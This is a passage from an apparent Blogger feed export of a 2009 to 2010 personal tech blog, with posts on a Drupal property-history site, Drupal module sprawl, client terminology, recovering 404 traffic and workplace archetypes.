sister a few weeks ago. She announced that she was going to move because their house was infested with mold. How many grow-ops, crack shacks and murder houses are out there that get a lick of paint and then get put out on the market. Our own 97 year old house has been through so many renovations and expansions that I don't know what it began as (I think I'm sleeping in the original kitchen). Properties have pasts. If they are not sterling, a realtor will not mention them. I used to live at 1170 Tattersall. On its bright side, it was built by the McGills of local McGill and Orme fame. It was a nice house. On its dark side, it was used by a local thief: he had so much booty stuffed into the basement suite, he could barely shut the door (this according to police).&lt;br /&gt;Enter &lt;a href="http://www.propertypast.com/"&gt;www.propertypast.com&lt;/a&gt;. It's a site built with Drupal 6 and using the nice Color Paper theme (I like that theme). What I did that was a little different: I built it with four vocabularies (street numbers, streets, cities, regions). These vocabularies are what organize and describe the content. There are many Elm Streets, but only one Elm Street per city-- so the Elm Street gets recycled and addresses need three or four vocabularies of terms to make a match. I altered the node to show the vocabularies, control their output and append associated terms. For example, with this link (&lt;a href="http://propertypast.com/node/10"&gt;http://propertypast.com/node/10&lt;/a&gt;), we have  &lt;a href="http://propertypast.com/taxonomy/term/35%2C33%2C22%2C7"&gt;728&lt;/a&gt; &lt;a href="http://propertypast.com/taxonomy/term/33%2C22%2C7"&gt;Pembroke&lt;/a&gt; &lt;a href="http://propertypast.com/taxonomy/term/22%2C7"&gt;Victoria&lt;/a&gt;, &lt;a href="http://propertypast.com/taxonomy/term/7"&gt;British Columbia  &lt;/a&gt;The 728 includes all of the terms. The Pembroke include Pembroke, Victoria and British Columbia. Victoria is Victoria and British Columbia. As you get out from the exact match, the links can take you to a broader match.&lt;br /&gt;&lt;br /&gt;The trick from here: getting the data. I would LOVE it if people would contribute the data. I would also like to find a way to mass import pre-existing data: MLS sale prices, BC Assessment prices, crime reports, etc.. That may be the Achilles Heel of this process. Here's my call to you: if you know of a home with a colorful past, add it here at &lt;a href="http://www.propertypast.com"&gt;Property Past&lt;/a&gt;.&lt;a href="http://www.thosedewolfes.com/projects/domains"&gt;Perhaps I will list this on my growing list of web projects...&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-460419342134925904?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/460419342134925904/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=460419342134925904' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/460419342134925904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/460419342134925904'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/04/what-am-i-trying-to-do-with-property.html' title='What am I trying to do with Property Past'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4606150159563984352</id><published>2010-03-30T22:58:00.004-07:00</published><updated>2010-03-30T23:46:00.193-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='drupal heretic'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>3347 Reasons For the Toba Catastrophe to Hit Drupal</title><content type='html'>I was recently tasked with getting the title and project links for all of the Drupal 6 modules. There appear to be something like 3347 Drupal 6 modules at Drupal.org. That seems like a lot.&lt;br /&gt;I know why this is: people have the freedom to create anything they want and post that to the Drupal repository of contributed modules. When two competing modules come into play, they are a little bit different so the features are similar, but not the same. What you get are either multiple flavours, one that may be to your liking-- or none that match and require you to make yet another version that fills your bill. The downside of multiple similar modules is that they each take support and care. More of them means that there are fewer developers to go around-- each module will have its own maintainer. If several developers could work on a module similar to what interested them, then there would be greater support: a more feature rich module, or one that's sturdier.&lt;br /&gt;80,000 years old, the &lt;a href="http://mikedewolfe.blogspot.com/2009/07/toba-catastrophe.html"&gt;Toba&lt;/a&gt; eruption killed most of the humans on Earth. That left 80,000 odd people to spawn our species today. I think that there is something to be said for a constructive die-off of modules. We don't want to lose this diversity, but is there a way to control the explosion of functions?&lt;br /&gt;This could amount to a leaderboard approach of similar modules being weighed: which is viewed as more stable; or feature rich? Can one of them be deprecated if their intrinsic features were rolled into the victorious module?&lt;br /&gt;Is there a way to make more use of Drupal Groups? Can we get people to come up with a common way to describe module functionality, then voice an intention to do a module and look for like-minded developers to share the load?&lt;br /&gt;&lt;br /&gt;From a developer standpoint these 3347 modules pose a problem: why would I develop a module if there are several that could fit my needs? I have developed custom modules for my work, but none of them are fit for a general audience. When someone says, "What have you done-- which modules have you developed?" I don't see enough room to build a module-- there are dozens for every role I've come up with.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4606150159563984352?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4606150159563984352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4606150159563984352' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4606150159563984352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4606150159563984352'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/03/3347-reasons-for-toba-catastrophe-to.html' title='3347 Reasons For the Toba Catastrophe to Hit Drupal'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2122355594497491197</id><published>2010-03-03T08:32:00.000-08:00</published><updated>2010-03-03T12:34:25.156-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Recipes'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><category scheme='http://www.blogger.com/atom/ns#' term='Cooking'/><category scheme='http://www.blogger.com/atom/ns#' term='XSLT'/><title type='text'>Cooking with XSLT, XML, PHP and a dash of automation</title><content type='html'>Fun with :&lt;br /&gt;XSLT, 6000+ recipes in Recipe XML format, PHP and a page building script that I whipped up:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://clearyourplate.com/recipes/pager_1.php"&gt;http://clearyourplate.com/recipes/pager_1.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;br /&gt;&lt;input id="gwProxy" type="hidden"&gt;&lt;!--Session data--&gt;&lt;input onclick="jsCall();" id="jsProxy" type="hidden"&gt;&lt;div id="refHTML"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2122355594497491197?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2122355594497491197/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2122355594497491197' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2122355594497491197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2122355594497491197'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/03/cooking-with-xslt-xml-php-and-dash-of.html' title='Cooking with XSLT, XML, PHP and a dash of automation'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3857120986215564999</id><published>2010-02-28T08:06:00.002-08:00</published><updated>2010-02-28T08:51:21.414-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='workflow'/><title type='text'>27 Words for Snow</title><content type='html'>There is the idea that the Eskimo have 27 words for snow-- snow in its various forms is so well known to these people that all of its forms have different names. All of these different words help to differentiate between one type of snow and another. What happens when a taxonomy is unduly short? My Mom had a problem with her "computer"-- she kept referring to the problem that her "computer" would not light up; it was dim; it was blurry. For her, the video monitor and the processor were described with the same word. If the Eskimo can apply a specialist view on snow by describing it 27 ways, what happens to a technical description when multiple situations and/or devices are collapsed into the same phrase? In short: you get a bad technical definition.&lt;br /&gt;What do you do when you face a technical problem and non-technical people are directing the work? This is especially bad when working with web design. In print design, page breaks, column breaks and 9x12 vs. 11x17-- these are all relevant to what you're designing. Move the same design project onto the web and these concepts go through a serious lensing. What do you do when you have this terminology breakdown?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Correct them.&lt;/span&gt; When they say "upload" you say "You mean send it via email?" This can be a painful exercise in being anal. At the end of the day, they won't get it, but you have a lot more questions. It's a passive approach to calling them mistaken but the net effect is the same.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Educate them.&lt;/span&gt; Try a primer on the terms and dynamics in use. Don't make them choke down two years of CompSci-- just give them color on the aspect of what's in play for the project. It then becomes the doctor-patient problem:  Patient- "Give it to me straight, doc." Doctor - "You have a transitory displacement of your mandible." Patient - "What?" Some topics are very sophisticated and are difficult to put into layman's terms. I've seen this manifest in two dynamics. With a client, you have to educate your client at the risk of putting them off-- they hired you because you're a specialist. With a co-worker, education is more possible, but still not absolutely viable. You can try to educate co-workers, but if they can get the ear of their superior or your superior, education can be squashed, translated or incompletely executed. In one situation, co-workers routinely used the same wrong phrasing for YEARS after it was inappropriate. Because their non-technical co-workers understood them, they felt justified to use the wrong termiology and concepts. One even went so far as to email 2000 people with the wrong how-to because they didn't want to change to the new practice. With 2000 people armed with the wrong instructions, that worker wanted the river to follow the boat and revise the technical process to match the how-to that was distributed.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Translate them.&lt;/span&gt; This is what you have to do and some level, but it's an avenue that can  make your project open-ended. For example: they say, "get this on the web" and that should mean that you finish off the work, upload the files to a spot where the files/application can be seen and used. It's common that techies translate stuff. The problems come when the user/client/non-technical co-worker (aka proponent) collapses multiple elements under the umbrella of the same term. They say, "upload"-- but could mean 'upload' (ftp); submit a form in a content management system; and/or email it. The remedy for that situation is come back and get a confirmation of the workflow available and the workflow they want to see executed. This is a much longer process because vagueness is a cornerstone of the project. If the proponent doesn't want to be corrected or educated, then they've opted for translation and a higher cost with a longer delivery time.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3857120986215564999?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3857120986215564999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3857120986215564999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3857120986215564999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3857120986215564999'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/02/27-words-for-snow.html' title='27 Words for Snow'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3627885842441070586</id><published>2010-02-12T22:33:00.003-08:00</published><updated>2010-02-12T23:06:10.087-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='404s'/><category scheme='http://www.blogger.com/atom/ns#' term='traffic'/><title type='text'>Getting The Most Out Of Your Traffic</title><content type='html'>There's a hole... in my life. (Sting sung that when he still cool).&lt;br /&gt;I used to have a lot more traffic-- then I started mixing it up. I made up a bunch of pages, then moved over to Drupal quickly. Then, I didn't migrate all of the page-- doh! It's not like I scorched my best pages. I forgot to migrate a script I wrote in 1999. Then I found all of these page-not-found errors in my traffic. Tonight, I started to fix-up all of my 404s. I made up pages to meet the gaps. In a couple cases, I made up aliases to get the river to follow the boat. Lastly, I found a bunch of hits "classifieds/this" and "classifieds/that" or specifically &lt;a href="http://mike.dewolfe.bc.ca/classifieds/office-equipment"&gt;http://mike.dewolfe.bc.ca/classifieds/office-equipment&lt;/a&gt;. Lots of hits to classifieds pages with various phrases put into the mix. I found out that others are seeing these too. There was no sense of letting all that traffic go to waste.&lt;br /&gt;Here's what I did. I made a panel with "classifieds" as it's path.&lt;br /&gt;The top panel goes to a search via the Shopping.com API.&lt;br /&gt;The right panel goes to a Twitter API search. The links in the Twitter responses go to remote.php script-- a quicky way to display third party pages while allowing a toe-hold to continue. I snugged in a dud variable with the classifieds phrase preserved. When the Google AdSense reads that part of the url, it turns it into something intelligble, something relevant for Google work with.&lt;br /&gt;The left panel was going to be Amazon, but Amazon's API is a bit of a pain. I made it work in my &lt;a href="http://www.thosedewolfes.com/bestsellers/"&gt;BestSellers List&lt;/a&gt; (NY Times-Amazon mash-up) but the general search functionality was painful. The Drupal Amazon Tools module was a little disappointing. So, instead I did up a bunch of links to some of my recent pet projects.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3627885842441070586?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3627885842441070586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3627885842441070586' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3627885842441070586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3627885842441070586'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/02/getting-most-out-of-your-traffic.html' title='Getting The Most Out Of Your Traffic'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6175286192515651008</id><published>2010-01-18T19:36:00.003-08:00</published><updated>2010-01-18T21:30:09.638-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='job trends'/><title type='text'>Motivational Tools</title><content type='html'>Here are some winning motivational strategies by total tools. The net effect is a major backfire. Some people can have multiples of these.  Worst of all-- these people are calling the shots. How did they get to run the asylum?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Camel Nose&lt;/span&gt; - Whenever a camel pokes their nose into a tent, the whole camel will follow. In IT land, the Camel Nose will ask for a small chunk of work. What will follow is a cascade of additional tasks as the camel trots deeper into the tent. It starts with something as basic as a "Login" link-- you tell them that the site doesn't have user management, they cajole you into just making the link with a placeholder page. Then, they call back and say that you need to make a login form-- just the form. Again, you're cajoled into that and say that you really need to add in the user management aspect. They put that off (no time, no money, no need-- maybe you get the sampler of excuses). They call back and need you do just store the form input; on second thought-- better do a user sign-up form too; you know, maybe you should link them. You explain that this is what the user management system will handle. No time. No money-- just the forms, please. Next day, an explosion as this user login form-thing is taking off-- people are wondering where the privacy policy and terms-and-conditions is. You say they need to draft one-- they say there's no time. Something else is up that needs your attention now!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mr. Square Peg&lt;/span&gt; - This guy will take anything and make it fit. Usually Square Pegs find jobs as IT recruiters. They will fire you job opportunities and suggest ways you can alter your resume to make it a glove fit for their prospect. If they get to place you, they can collect thousands of dollars for getting an IT professionals into the right career. I once had my resume seriously worked over:&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;Recruiter&lt;/span&gt;: "You've used a Microsoft OS?"&lt;br /&gt;  &lt;span style="font-style: italic;"&gt;Me&lt;/span&gt;: "Yes." (recruiter fills in "ActiveX" on his form).&lt;br /&gt;  &lt;span style="font-style: italic;"&gt;Recruiter&lt;/span&gt;: "And Mac? OS X?"&lt;br /&gt;   &lt;span style="font-style: italic;"&gt;Me&lt;/span&gt;: "Yes." (recruiter fills in "Objective C" on his form.)&lt;/blockquote&gt;Then you get to the interview stage for one of these jobs and they employer asks you to about your iPhone app developement experience. You can't BS them in the interview on the offhand chance that you can score the job and learn the skillset over a weekend, so the interview fizzles.  Or-- you lie through your face and help build a bug-ridden project. Now that's paying it forward! I went through one of these Square Peg engineered interviews that was so bad that I hit a couple points where my only answer was "I can't even fathom an answer."&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Dandelion&lt;/span&gt; - They talk you into pulling a small problem, but the more you weed, the deeper and more intractable the problem. The opening volley: "Cut down the dandelion." A few weeks later, "The dandelion came back. Can you get to the root?" You start to exhume chunks of the lawn as to get to the root; they ask, "Are you sure you need to do all that?" They get you to stop prematurely.  A few weeks later, "The dandelion came back. Can you get to the root?" They will simultaneously get you to dig into the problem and stop you so that the problem can re-emerge.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Ostrich&lt;/span&gt; - If you don't believe it's a problem, you can make it go away.  You say that they need to buy a certificate to secure the site. You get a more eloquent spin on "Nah-nah-nah-- I can't hear you! Nah-nah-nah." Another example: you come to them with a problem: "Everyone is direct linking to your JPEGs and scamming your bandwidth." As soon as the problem is unavoidable, they will demand to know why they were never told about this before. Even if you show them the paper trail and all of the times you told them, they will want to know why nothing was done about this.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The Moocher&lt;/span&gt; - You find this guy at a mixer. He can't even cut-and-paste, but he has lots of tech connections. He may even have lots of work he can send your way. I've met guys who are sitting on a $1 million project that he landed from the government, but no people to carry it out. What government stooge didn't notice that the winning bidder couldn't do the work? Usually, these guys never seem to give you any work. There are two types of moochers: the struggling project moocher and the high dollar project moocher:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Struggling Project Moocher&lt;/span&gt; - Have you ever had a dumb idea that could make like $200/yr. in Adsense revenue if only you threw 500 hrs. of development at it? Maybe you did your idea as a labour of love. This moocher tries to get his labour of love onto your plate-- for your free labour. There's no money, but if there is ever any money, you're the first in line. No thanks, I'm waiting for a unicorn.&lt;span style="font-style: italic;"&gt;&lt;br /&gt;High Dollar Moocher&lt;/span&gt; - This moocher usually phones you do work up a costs and some blurbs for a project. He's probably a project manager for a rinky-dink outfit. His job is to come up with costs-- he offloads that to you, then pads your bid so that he can make some cash. By offloading the bid prep to you, a project that doesn't come through will take him 10 minutes; you may be tied up for the whole morning. With one guy, I dodged his Skypes, so he phoned. I dodged his calls, so he showed up at my door. It was Summer and my front door was open. In retrospect, I should have slammed the door.  &lt;br /&gt;&lt;span style="font-style: italic;"&gt;Combo Moocher&lt;/span&gt; - Hey, uh, buddy? Can you just, uh, check out this third kind of moocher? This is the worst kind of moocher-- he gets you to do the loser freebie projects because they will prove your worth, then you can take on one of the high dollar projects should one of them come through. Eventually, your time or your patience will wear out and you won't land the high dollar jobs-- it's your fault because you ditched too soon, guy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6175286192515651008?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6175286192515651008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6175286192515651008' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6175286192515651008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6175286192515651008'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/01/motivational-tools.html' title='Motivational Tools'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-9009078522786213953</id><published>2010-01-03T23:16:00.002-08:00</published><updated>2010-01-03T23:19:47.165-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='productivity'/><category scheme='http://www.blogger.com/atom/ns#' term='nag timer'/><category scheme='http://www.blogger.com/atom/ns#' term='egg timer'/><title type='text'>Nag Timer - An Egg Timer for Time Sucks</title><content type='html'>&lt;img src="http://external.ak.fbcdn.net/safe_image.php?d=1c10cf17d737ac64fce79e5839ab9089&amp;amp;url=http%3A%2F%2Fwww.prefabsite.net%2Fnagtimer%2Feggtimer.png&amp;amp;w=90&amp;amp;h=90" align="left" /&gt;Do you want to keep to those New Years promises to be more productive? If so, you should try the "&lt;a href="http://www.prefabsite.net/nagtimer/"&gt;Nag Timer&lt;/a&gt;" to limit the amount of time you lose to Facebook, Fail Blog, ThereIFixedIt.com and other spots on the Interwebs.&lt;br /&gt;Enjoy! And get to WORK!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-9009078522786213953?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/9009078522786213953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=9009078522786213953' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/9009078522786213953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/9009078522786213953'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/01/nag-timer-egg-timer-for-time-sucks.html' title='Nag Timer - An Egg Timer for Time Sucks'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6946010952508514613</id><published>2009-12-05T20:02:00.002-08:00</published><updated>2009-12-05T20:34:06.301-08:00</updated><title type='text'>Just-in-Doorway</title><content type='html'>The concept of just-in-time creation isn't new. Create a process or allocate memory just-in-time of needing it. It's a good idea: no need to build something until you need it. I've been trying to develop some sort of a "just-in-doorway" application. An application that builds out a whole slough of information for you to use. This is like turn-in-the-door caching, where the first load of a page commits to a cache for re-use is nothing new. This application would create a whole experience based on the user input of what they were searching for.&lt;br /&gt;Stay tuned.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6946010952508514613?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6946010952508514613/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6946010952508514613' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6946010952508514613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6946010952508514613'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/12/just-in-doorway.html' title='Just-in-Doorway'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3358715804419303533</id><published>2009-12-03T13:09:00.000-08:00</published><updated>2009-12-03T13:53:54.365-08:00</updated><title type='text'>De-commenting Anonymous Comments</title><content type='html'>To get rid of anonymous blog comments that are piped through to your email for notification, look for this phrase in the content of the message:&lt;br /&gt;"Anonymous has left a new comment on your post"&lt;br /&gt;Then, add in a mail filter so that matching messages skip your inbox. Out of sight. Out of mind.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3358715804419303533?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3358715804419303533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3358715804419303533'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/12/de-commenting-anonymous-comments.html' title='De-commenting Anonymous Comments'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5610795264680265328</id><published>2009-11-18T20:01:00.000-08:00</published><updated>2009-11-18T19:30:50.734-08:00</updated><title type='text'>SG-1 Wants to Advertise on ThoseDeWolfes.com !</title><content type='html'>&lt;span style="font-size:100%;"&gt;I got this email from Linkstar Media&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="gmail_quote"&gt;&lt;blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"&gt;&lt;span style="font-size:100%;"&gt;Hi Mike,&lt;br /&gt;&lt;br /&gt;Would you be interested in selling some advertising space on your website, Thosedewolfes.com?&lt;br /&gt;&lt;br /&gt;We act on behalf of a reputable client base and can tailor a text- based ad that would complement your site. We can also offer a 12 month up-front rate for simplicity.&lt;br /&gt;&lt;br /&gt;Please let me know if you would like more information.&lt;br /&gt;&lt;br /&gt;Kind regards,&lt;br /&gt;Fe Turner&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;___&lt;br /&gt;This message was sent by Linkstar UK Limited, it is STRICTLY CONFIDENTIAL and is solely for the individual or organisation to whom it is addressed. It may contain PRIVILEGED and CONFIDENTIAL information. If you are not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication and its contents is strictly prohibited. If you have received this communication and its contents in error, please notify us at &lt;a href="mailto:info@linkstar.co.uk" target="_blank"&gt;info@linkstar.co.uk&lt;/a&gt; and delete it and any copies from your computer.&lt;br /&gt;&lt;br /&gt;This e-mail has been checked for viruses but it is the responsibility of the recipient to ensure that the opening use or onward transmission of the e-mail and any attachments will not adversely affect its systems or data and no responsibility is accepted by Linkstar UK Limited in this regard.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;  &lt;/blockquote&gt;&lt;/div&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;My reply:&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;Could you get Shanks and Quinn to give me the run down on how this works? I spoke with Messers Kenobi, Windu and Kloon and they highly endorse this concept.&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;&lt;br /&gt;Mike DeWolfe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Their domain info:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Arial;font-size:100%;"  &gt;Domain name:&lt;br /&gt;      link-star.co.uk&lt;br /&gt;&lt;br /&gt;  Registrant:&lt;br /&gt;      Linkstar UK Limited&lt;br /&gt;&lt;br /&gt;  Trading as:&lt;br /&gt;      Linkstar UK Ltd&lt;br /&gt;&lt;br /&gt;  Registrant type:&lt;br /&gt;      UK Limited Company, (Company number: 6672204)&lt;br /&gt;&lt;br /&gt;  Registrant's address:&lt;br /&gt;      145-157 St John Street&lt;br /&gt;      London&lt;br /&gt;      London&lt;br /&gt;      EC1V 4PY&lt;br /&gt;      United Kingdom&lt;br /&gt;&lt;br /&gt;  Registrar:&lt;br /&gt;      eNom, Inc. [Tag = ENOM]&lt;br /&gt;      URL: http://www.enom.com&lt;br /&gt;&lt;br /&gt;  Relevant dates:&lt;br /&gt;      Registered on: 19-Aug-2008&lt;br /&gt;      Renewal date:  19-Aug-2010&lt;br 